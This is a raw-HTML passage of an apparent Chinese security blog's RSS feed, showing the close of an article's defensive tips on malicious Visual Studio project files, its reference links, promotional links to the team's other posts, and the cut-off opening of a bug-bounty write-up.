top;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">.vcxproj/.vbproj/.csproj</span></code><span leaf="">等文件是否存在命令执行、加载未知资源的恶意代码</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">打开项目前删除</span><code style="background-attachment: scroll;background-clip: border-box;background-color: rgba(27, 31, 35, 0.05);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 2px;margin-right: 2px;padding-top: 2px;padding-bottom: 2px;padding-left: 4px;padding-right: 4px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;overflow-wrap: break-word;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;"><span leaf="">.vs</span></code><span leaf="">文件目录</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;color: rgb(1, 1, 1);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;font-weight: normal;"><span leaf="">使用工具 <a href="https://github.com/backengineering/CheckEvilSln" target="_blank">https://github.com/backengineering/CheckEvilSln</a> 检查项目</span></p></li></ul><h2 data-tool="mdnice编辑器" style="background-color: rgb(251, 251, 251);margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(33, 33, 34);line-height: 2.4em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 15px;padding-right: 30px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 40px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;"><span leaf="">0x04 参考链接</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a href="https://crackme.net/articles/evil_sln/" target="_blank">https://crackme.net/articles/evil_sln/</a> </span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a href="https://mp.weixin.qq.com/s/x4QNvGNk4QXByh3Wb4qk6A" target="_blank">https://mp.weixin.qq.com/s/x4QNvGNk4QXByh3Wb4qk6A</a> </span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a href="https://xz.aliyun.com/news/13871" target="_blank">https://xz.aliyun.com/news/13871</a> </span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a href="https://www.secrss.com/articles/74468" target="_blank">https://www.secrss.com/articles/74468</a> </span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a href="https://www.ch35tnut.com/zh-cn/research/apt/ocean_lotus/suo/" target="_blank">https://www.ch35tnut.com/zh-cn/research/apt/ocean_lotus/suo/</a> </span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf=""><a href="https://mp.weixin.qq.com/s/x4QNvGNk4QXByh3Wb4qk6A" target="_blank">https://mp.weixin.qq.com/s/x4QNvGNk4QXByh3Wb4qk6A</a></span></p></div></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 15px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;z-index: 2;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 2px;max-width: 100%;background: rgb(255, 255, 255);border-radius: 13px;border-width: 1px;border-style: solid;border-color: rgb(45, 133, 224);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 24px;padding-left: 24px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;border-radius: 11px;border-width: 1px;border-style: dotted;border-color: rgb(45, 133, 224);text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="max-width: 100%;font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(45, 133, 224);line-height: 22px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">往期推荐</span></p></div></div></div><div data-mid="" mpa-from-tpl="t" style="margin-bottom: 0px;max-width: 100%;font-size: 16px;white-space: normal;display: flex;justify-content: flex-start;align-items: center;flex-direction: column;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="max-width: 100%;width: 474px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 8px 2px;max-width: 100%;width: 474px;background: rgb(255, 255, 255);border-radius: 5px;border-width: 1px;border-style: solid;border-color: rgb(74, 138, 218);overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding: 3px;max-width: 100%;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;width: 456px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 12px;padding-left: 12px;max-width: 100%;width: 450px;text-align: center;overflow-wrap: break-word !important;box-sizing: border-box !important;"><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247516589&amp;idx=1&amp;sn=107da3b45e88255f240504d033ebde7f&amp;scene=21#wechat_redirect" textvalue="TscanPlus-一款红队自‍动化工具" data-itemshowtype="0" linktype="text" data-linktype="2">TscanPlus-一款红队自动化工具</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499902&amp;idx=1&amp;sn=59cba8d980b4ecb0deefff99edaabd4d&amp;chksm=ce5de21ff92a6b09a8972a0144557b0099e443aa8e018b17151c816fc7f08f3615ecb22617fc&amp;scene=21#wechat_redirect" textvalue="潮影在线免杀平台上线了" data-itemshowtype="0" linktype="text" data-linktype="2">潮影在线免杀平台上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498466&amp;idx=1&amp;sn=085c15679436dedb06a179ca8d47951a&amp;chksm=ce5dd883f92a5195ef74ac517741f6d3da0da40b5501d72016e52cb70344904bb85b8aef65ba&amp;scene=21#wechat_redirect" textvalue="自动化渗透测试工具开发实践" data-itemshowtype="0" linktype="text" data-linktype="2">自动化渗透测试工具开发实践</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247492640&amp;idx=1&amp;sn=43b1991dc5628eab322923083fde8d70&amp;chksm=ce5dc641f92a4f57ffb18e2977644b1f977fcc5e0eccdf10956d3ae4ce70dc95024500631e89&amp;scene=21#wechat_redirect" textvalue="【红蓝对抗】利用CS进行内网横向" data-itemshowtype="0" linktype="text" data-linktype="2">【红蓝对抗】利用CS进行内网横向</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498344&amp;idx=1&amp;sn=3679330363ff6890166b09f6a502f769&amp;chksm=ce5dd809f92a511f6066fcbb12fb5c1dc8c2642e4e2690dad64d76cc6f9247eae356d16f5810&amp;scene=21#wechat_redirect" textvalue="一个Go版(更强大)的TideFinger" data-itemshowtype="0" linktype="text" data-linktype="2">一个Go版(更强大)的TideFinger</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247499823&amp;idx=1&amp;sn=065ffeae6bd02fff922cfb12c5a0f4df&amp;chksm=ce5de24ef92a6b58f709260b691e6b36e4a53aac00d3022946302b8e638696ed55c70e13e16f&amp;scene=21#wechat_redirect" textvalue="SRC资产导航监测平台Tsrc上线了" data-itemshowtype="0" linktype="text" data-linktype="2">SRC资产导航监测平台Tsrc上线了</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;font-size: 14px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247506056&amp;idx=1&amp;sn=ad6dd23f58f5fd8ce899a1e292f5b685&amp;chksm=ce5dfae9f92a73ff4f14c812436cb5bfecb29db04eada11c409e946d5338c82a92bcaa425736&amp;scene=21#wechat_redirect" textvalue="新潮信息-Tide安全团队2022年度总结" data-itemshowtype="0" linktype="text" data-linktype="2">新潮信息-Tide安全团队2022年度总结</a></span></p><p data-mid="" style="margin-bottom: 12px;max-width: 100%;border-bottom: 1px dotted rgb(74, 138, 218);font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(65, 84, 41);line-height: 20px;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf=""><a class="normal_text_link" target="_blank" style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;" href="http://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247498965&amp;idx=1&amp;sn=655548831da6808a020ad07294a92e60&amp;chksm=ce5ddeb4f92a57a283d5692c246e54655319ab0d09f6403e354300a2777cda6ae4c787631ab3&amp;scene=21#wechat_redirect" textvalue="记一次实战攻防(打点-Edr-内网-横向-Vcenter)" data-itemshowtype="0" linktype="text" data-linktype="2">记一次实战攻防(打点-Edr-内网-横向-Vcenter)</a></span></p></div></div></div></div></div><div draggable="false" style="margin-bottom: 0px;max-width: 100%;white-space: normal;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;justify-content: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0810810810810811" data-type="gif" data-w="37" style="width: 37px;display: block;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=a96b63a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FrTicZ9Hibb6RWbGNtVfIZbm2rmGO4hQDzQUrLN62vEGlA4fPmib5utUAp9gbQicb6FC82RjsVI5vx7wEc9yAAiaFEoQ%2F640%3Fwx_fmt%3Dgif"/></span></p></div></div><div style="margin-bottom: 0px;max-width: 100%;box-sizing: border-box;white-space: normal;font-size: 16px;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;width: 520.195px;vertical-align: top;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;justify-content: center;display: flex;flex-flow: row nowrap;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">E</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">N</span></p></div></div></div></div><div style="max-width: 100%;box-sizing: border-box;display: inline-block;vertical-align: top;width: 104.039px;align-self: flex-start;flex: 0 0 auto;overflow-wrap: break-word !important;"><div powered-by="xiumi.us" style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;width: 2em;display: inline-block;vertical-align: middle;overflow-wrap: break-word !important;"><div style="max-width: 100%;box-sizing: border-box;border-width: 1px;border-style: dashed;border-color: rgb(138, 189, 143);width: 2em;height: 2em;float: left;line-height: 2em;font-size: 21px;overflow-wrap: break-word !important;"><p style="max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="">D</span></p></div></div></div></div></div></div></div><div draggable="false" data-tools-id="47164" style="max-width: 100%;overflow: hidden;color: rgb(0, 0, 0);font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><div style="max-width: 100%;display: flex;flex-direction: column;align-items: center;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="padding: 10px 15px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);background-color: rgb(199, 221, 253);color: rgb(0, 0, 70);font-size: 14px;line-height: 14px;font-family: 思源黑体;letter-spacing: 1px;transform: rotate(0deg);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">Tide团队产品及服务</span></strong></p><div style="margin-top: -15px;padding: 35px 15px 20px;max-width: 100%;border-width: 1px;border-style: solid;border-color: rgb(1, 0, 70);overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队自研平台</span></strong><span leaf="">：潮汐在线指纹识别平台 | 潮听漏洞情报平台 | 潮巡资产管理与威胁监测平台 | 潮汐网络空间资产测绘 | 潮声漏洞检测平台 | 在线免杀平台 | CTF练习平台 | 物联网固件检测平台 | SRC资产监控平台  | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">技术分享方向</span></strong><span leaf="">:Web安全 | 红蓝对抗 | 移动安全 | 应急响应 | 工控安全 | 物联网安全 | 密码学 | 人工智能 | ctf 等方面的沟通及分享</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队知识wiki</span></strong><span leaf="">：红蓝对抗 | 漏洞武器库 | 远控免杀 | 移动安全 | 物联网安全 | 代码审计 | CTF | 工控安全 | 应急响应 | 人工智能 | 密码学 | CobaltStrike | 安全测试用例 | ......</span></p><p style="max-width: 100%;color: rgb(0, 0, 70);font-size: 14px;line-height: 1.75;font-family: 思源黑体;letter-spacing: 1px;text-align: justify;overflow-wrap: break-word !important;box-sizing: border-box !important;word-break: break-all !important;"><strong style="max-width: 100%;overflow-wrap: break-word !important;box-sizing: border-box !important;"><span leaf="">团队网盘资料</span></strong><span leaf="">：安全法律法规 | 安全认证资料 | 代码审计 | 渗透安全工具 | 工控安全工具 | 移动安全工具 | 物联网安全 | 其它安全文库合辑  | ......</span></p></div></div></div></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=b84aa2a7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2NTA4OTI5NA%3D%3D%26mid%3D2247522129%26idx%3D1%26sn%3D770301431953ea49e2c8377e319eb4a8">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 13 May 2026 17:00:00 +0800</pubDate>
    </item>
    <item>
      <title>记某SRC高危漏洞挖掘</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2NTA4OTI5NA==&amp;mid=2247522091&amp;idx=1&amp;sn=9c38b02b19e5f211a6d6c9fd10f009cc</link>
      <description>无聊的时候打开了某SRC，发现了新增资产，于是立即开启了本次的漏洞挖掘之路。</description>
      <content:encoded><![CDATA[<p>原创 <span>oh1inge</span> <span>2026-04-30 17:03</span> <span style="display: inline-block;">山东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=12d06339&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjS2mB7OlsdUopwfUkIx5oknyV8PbBAjBtRQLN3bSWvPR9S9CP4T9rr1QtMRjtO10d4sCbHfC1WCzCJ6nbibKW5icxq1RGwHHrWxmSxtW3bl0M%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>无聊的时候打开了某SRC，发现了新增资产，于是立即开启了本次的漏洞挖掘之路。</p>
  <div data-mpa-template="t" mpa-from-tpl="t" style="margin-bottom: 0px;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><div data-mpa-template="t" mpa-from-tpl="t" data-mpa-powered-by="yiban.io" style="margin-bottom: 0px;display: flex;justify-content: center;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><p data-mid="" mpa-from-tpl="t" style="margin-bottom: -11px;margin-left: -7px;width: 21px;height: 18px;display: flex;justify-content: center;align-items: center;align-self: flex-start;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8571428571428571" data-w="42" src="https://wechat2rss.xlab.app/img-proxy/?k=992d3ad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FDuibU3GqmxVmRsdItbBVRKegNHicHQvAHDdZsGpLVU7touSU1AU1twHTfRjG3Vu5aUh0RnPPllfVUhs4qdWF5QYQ%2F640%3Fwx_fmt%3Dpng"/></span></p><div data-mid="" mpa-from-tpl="t" style="width: 558px;background: rgb(255, 145, 1);transform: rotate(-3deg) scale(0.9);"><div data-mid="" mpa-from-tpl="t" style="width: 558px;transform: rotate(3deg) scale(1.1);background: rgb(255, 252, 227);border-width: 1px;border-style: solid;border-color: rgb(246, 128, 31);"><div data-mid="" mpa-from-tpl="t" style="padding: 14px 11px 13px 12px;width: 556px;text-align: left;"><p data-mid="" mpa-is-content="t" style="font-size: 14px;font-family: PingFangSC-Regular, &#34;PingFang SC&#34;;color: rgb(62, 62, 62);line-height: 26px;word-break: break-word;"><span leaf="">声明：Tide安全团队原创文章，转载请声明出处！文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途给予盈利等目的，否则后果自行承担！</span></p></div></div></div><p data-mid="" mpa-from-tpl="t" style="margin-top: -45px;margin-right: -5px;margin-bottom: 8px;width: 46px;height: 42px;display: flex;justify-content: center;align-items: center;align-self: flex-end;z-index: 1;"><span leaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.8936170212765957" data-w="94" src="https://wechat2rss.xlab.app/img-proxy/?k=94bb99ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9zYJrD2VibHmqgf4y9Bqh9nDynW5fHvgbgkSGAfRboFPuCGjVoC3qMl6wlFucsx3Y3jt4gibQgZ6LxpoozE0Tdow%2F640%3Fwx_fmt%3Dpng"/></span></p></div></div></div><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(255, 79, 121);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: left;background-position-y: top;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">【平台名称、文章内容、接口等已打码脱敏】</span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 15px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">无聊的时候打开了某SRC，发现了新增资产，于是立即开启了本次的漏洞挖掘之路。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: auto;margin-right: auto;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: linear-gradient(to left, rgb(253, 213, 231), rgb(194, 226, 249));background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;align-items: unset;border-top-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-style: solid;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(62, 62, 62);border-bottom-color: rgb(62, 62, 62);border-left-color: rgb(62, 62, 62);border-right-color: rgb(62, 62, 62);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: table;flex-direction: unset;float: unset;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;"><span style="font-size: 18px;color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 10px;padding-bottom: 10px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: solid;border-bottom-style: solid;border-left-style: 